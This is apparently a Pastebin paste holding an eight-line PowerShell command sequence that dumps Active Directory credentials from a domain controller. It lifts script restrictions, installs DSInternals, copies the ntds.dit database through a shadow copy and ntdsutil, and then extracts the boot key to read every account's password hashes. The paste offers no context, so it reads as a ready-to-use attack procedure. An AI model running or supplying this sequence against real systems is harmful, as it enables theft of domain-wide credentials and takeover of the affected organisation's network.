m1dw0rd

Untitled

Jun 15th, 2022
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.41 KB | None | 0 0
  1. Set-ExecutionPolicy Unrestricted -Force ;
  2. Install-Module -Name DSInternals ;
  3. reg SAVE HKLM\SYSTEM ;
  4. vssadmin create shadow /for=C: ;
  5. powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q";
  6. ESENTUTL /p 'C:\temp\Active Directory\ntds.dit' /!1024 /8 /o ;
  7. $key=Get-BootKey -SystemHiveFilePath C:\Windows\Temp\sys ;
  8. Get-ADDBAccount -All -BootKey $key -DBPath 'C:\temp\Active Directory\ntds.dit'
Advertisement
Add Comment
Please, Sign In to add comment